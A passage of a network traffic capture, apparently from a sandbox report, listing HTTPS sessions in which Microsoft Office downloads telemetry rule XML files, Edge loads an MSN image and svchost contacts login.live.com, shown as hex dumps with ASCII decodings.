</SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:55 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:56 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152156Z-178bfbc474b7cbwqhC1NYC8z4n00000007e000000000qsr5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:56 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:55 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 877e641f-101e-007a-18c6-3e047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152156Z-178bfbc474bnwsh4hC1NYC2ubs00000007rg00000000aztc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:56 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:56 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: edaf41ae-201e-0051-5e49-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152156Z-174c587ffdfcb7qhhC1TEB3x70000000069g000000000566 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:56 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49907	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:57 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:57 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 14 Nov 2024 00:11:17 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: 0a087112-3395-4d02-ae01-0e8f96fd1a66 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=204617 Expires: Thu, 28 Nov 2024 00:12:14 GMT Date: Mon, 25 Nov 2024 15:21:57 GMT Connection: close
2024-11-25 15:21:57 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49906	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:21:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:58 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 7a2b583d-9ce2-4fe2-b4c6-6967db6c3884 PPServer: PPV: 30 H: PH1PEPF00011EC2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:57 GMT Connection: close Content-Length: 1918
2024-11-25 15:21:58 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:57 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 7a39f588-d01e-0014-712e-3ded58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152158Z-178bfbc474bvjk8shC1NYC83ns00000007c000000000rhex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49908	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 15:21:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:58 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BAY x-ms-request-id: e6d71fe5-4888-44c2-9e42-31f89965e1c1 PPServer: PPV: 30 H: PH1PEPF00018BDC V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:58 GMT Connection: close Content-Length: 11409
2024-11-25 15:21:58 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:57 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:58 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152158Z-178bfbc474bmqmgjhC1NYCy16c00000007r000000000ddbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:58 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:57 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:58 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152158Z-178bfbc474bgvl54hC1NYCsfuw00000007gg00000000q733 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:58 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:58 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:58 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152158Z-174c587ffdf8fcgwhC1TEBnn7000000006b00000000048r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:58 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
